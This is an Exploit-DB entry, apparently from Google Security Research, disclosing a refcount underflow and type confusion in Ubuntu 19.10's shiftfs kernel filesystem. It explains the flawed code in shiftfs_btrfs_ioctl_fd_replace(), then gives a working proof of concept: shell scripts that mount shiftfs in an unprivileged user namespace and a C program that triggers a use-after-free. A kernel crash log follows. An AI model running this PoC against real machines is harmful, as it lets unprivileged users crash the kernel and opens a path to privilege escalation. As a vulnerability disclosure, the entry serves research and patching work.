Exploit-DB #47693
Description: Ubuntu 19.10 - Refcount Underflow and Type Confusion in shiftfs
Type: dos
Platform: linux
Date: 2019-11-20
Author: Google Security Research

Exploit:
Tested on Ubuntu 19.10, kernel "5.3.0-19-generic #20-Ubuntu".

Ubuntu ships a filesystem "shiftfs" in fs/shiftfs.c in the kernel tree that
doesn't exist upstream. This filesystem can be mounted from user namespaces,
meaning that this is attack surface from unprivileged userspace in the default
installation.

There are two memory safety bugs around shiftfs_btrfs_ioctl_fd_replace().

#################### Bug 1: Flawed reference counting ####################

In shiftfs_btrfs_ioctl_fd_replace() ("//" comments added by me):


	src = fdget(oldfd);
	if (!src.file)
		return -EINVAL;
	// src holds one reference (assuming multithreaded execution)

	ret = shiftfs_real_fdget(src.file, lfd);
	// lfd->file is a file* now, but shiftfs_real_fdget didn't take any
	// extra references
	fdput(src);
	// this drops the only reference we were holding on src, and src was
	// the only thing holding a reference to lfd->file. lfd->file may be
	// dangling at this point.
	if (ret)
		return ret;

	*newfd = get_unused_fd_flags(lfd->file->f_flags);
	if (*newfd < 0) {
		// always a no-op
		fdput(*lfd);
		return *newfd;
	}

	fd_install(*newfd, lfd->file);
	// fd_install() consumes a counted reference, but we don't hold any
	// counted references. so at this point, if lfd->file hasn't been freed
	// yet, its refcount is one lower than it ought to be.

	[...]

	// the following code is refcount-neutral, so the refcount stays one too
	// low.
	if (ret)
		shiftfs_btrfs_ioctl_fd_restore(cmd, *lfd, *newfd, arg, v1, v2);


shiftfs_real_fdget() is implemented as follows:

static int shiftfs_real_fdget(const struct file *file, struct fd *lowerfd)
{
	struct shiftfs_file_info *file_info = file->private_data;
	struct file *realfile = file_info->realfile;

	lowerfd->flags = 0;
	lowerfd->file = realfile;

	/* Did the flags change since open? */
	if (unlikely(file->f_flags & ~lowerfd->file->f_flags))
		return shiftfs_change_flags(lowerfd->file, file->f_flags);

	return 0;
}

Therefore, the following PoC will cause reference count overdecrements; I ran it
with SLUB debugging enabled and got the following splat:

=======================================
user@ubuntu1910vm:~/shiftfs$ cat run.sh
#!/bin/sh
sync
unshare -mUr ./run2.sh
t run2user@ubuntu1910vm:~/shiftfs$ cat run2.sh
#!/bin/sh
set -e

mkdir -p mnt/tmpfs
mkdir -p mnt/shiftfs
mount -t tmpfs none mnt/tmpfs
mount -t shiftfs -o mark,passthrough=2 mnt/tmpfs mnt/shiftfs
mount|grep shift
touch mnt/tmpfs/foo
gcc -o ioctl ioctl.c -Wall
./ioctl
user@ubuntu1910vm:~/shiftfs$ cat ioctl.c
#include <sys/ioctl.h>
#include <fcntl.h>
#include <err.h>
#include <unistd.h>
#include <linux/btrfs.h>
#include <sys/mman.h>

int main(void) {
  int root = open("mnt/shiftfs", O_RDONLY);
  if (root == -1) err(1, "open shiftfs root");
  int foofd = openat(root, "foo", O_RDONLY);
  if (foofd == -1) err(1, "open foofd");
  struct btrfs_ioctl_vol_args iocarg = {
    .fd = foofd
  };
  ioctl(root, BTRFS_IOC_SNAP_CREATE, &iocarg);
  sleep(1);
  void *map = mmap(NULL, 0x1000, PROT_READ, MAP_SHARED, foofd, 0);
  if (map != MAP_FAILED) munmap(map, 0x1000);
}
user@ubuntu1910vm:~/shiftfs$ ./run.sh
none on /home/user/shiftfs/mnt/tmpfs type tmpfs (rw,relatime,uid=1000,gid=1000)
/home/user/shiftfs/mnt/tmpfs on /home/user/shiftfs/mnt/shiftfs type shiftfs (rw,relatime,mark,passthrough=2)
[  183.463452] general protection fault: 0000 [#1] SMP PTI
[  183.467068] CPU: 1 PID: 2473 Comm: ioctl Not tainted 5.3.0-19-generic #20-Ubuntu
[  183.472170] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.12.0-1 04/01/2014
[  183.476830] RIP: 0010:shiftfs_mmap+0x20/0xd0 [shiftfs]
[  183.478524] Code: 20 cf 5d c3 c3 0f 1f 44 00 00 0f 1f 44 00 00 55 48 89 e5 41 57 41 56 41 55 41 54 48 8b 87 c8 00 00 00 4c 8b 68 10 49 8b 45 28 <48> 83 78 60 00 0f 84 97 00 00 00 49 89 fc 49 89 f6 48 39 be a0 00
[  183.484585] RSP: 0018:ffffae48007c3d40 EFLAGS: 00010206
[  183.486290] RAX: 6b6b6b6b6b6b6b6b RBX: ffff93f1fb7908a8 RCX: [PII_REDACTED]
[  183.489617] RDX: [PII_REDACTED] RSI: ffff93f1fb792208 RDI: ffff93f1f69fa400
[  183.491975] RBP: ffffae48007c3d60 R08: ffff93f1fb792208 R09: [PII_REDACTED]
[  183.494311] R10: ffff93f1fb790888 R11: 00007f1d01d10000 R12: ffff93f1fb7908b0
[  183.496675] R13: ffff93f1f69f9900 R14: ffff93f1fb792208 R15: ffff93f22f102e40
[  183.499011] FS:  00007f1d01cd1540(0000) GS:ffff93f237a40000(0000) knlGS:[PII_REDACTED]
[  183.501679] CS:  0010 DS: 0000 ES: 0000 CR0: [PII_REDACTED]
[  183.503568] CR2: 00007f1d01bc4c10 CR3: [PII_REDACTED] CR4:[PII_REDACTED]360ee0
[  183.505901] DR0: [PII_REDACTED] DR1: [PII_REDACTED] DR2: [PII_REDACTED]
[  183.508229] DR3: [PII_REDACTED] DR6: 00000000fffe0ff0 DR7: [PII_REDACTED]
[  183.510580] Call Trace:
[  183.511396]  mmap_region+0x417/0x670
[  183.512592]  do_mmap+0x3a8/0x580
[  183.513655]  vm_mmap_pgoff+0xcb/0x120
[  183.514863]  ksys_mmap_pgoff+0x1ca/0x2a0
[  183.516155]  __x64_sys_mmap+0x33/0x40
[  183.517352]  do_syscall_64+0x5a/0x130
[  183.518548]  entry_SYSCALL_64_after_hwframe+0x44/0xa9
[  183.520196] RIP: 0033:0x7f1d01bfaaf6
[  183.521372] Code: 00 00 00 00 f3 0f 1e fa 41 f7 c1 ff 0f 00 00 75 2b 55 48 89 fd 53 89 cb 48 85 ff 74 37 41 89 da 48 89 ef b8 09 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 62 5b 5d c3 0f 1f 80 00 00 00 00 48 8b 05 61
[  183.527210] RSP: 002b:00007ffdf50bae98 EFLAGS: 00000246 ORIG_RAX: [PII_REDACTED]
[  183.529582] RAX: ffffffffffffffda RBX: [PII_REDACTED] RCX: 00007f1d01bfaaf6
[  183.531811] RDX: [PII_REDACTED] RSI: [PII_REDACTED] RDI: [PII_REDACTED]
[  183.533999] RBP: [PII_REDACTED] R08: [PII_REDACTED] R09: [PII_REDACTED]
[  183.536199] R10: [PII_REDACTED] R11: [PII_REDACTED] R12: 00005616cf6f5140
[  183.538448] R13: 00007ffdf50bbfb0 R14: [PII_REDACTED] R15: [PII_REDACTED]
[  183.540714] Modules linked in: shiftfs intel_rapl_msr intel_rapl_common kvm_intel kvm irqbypass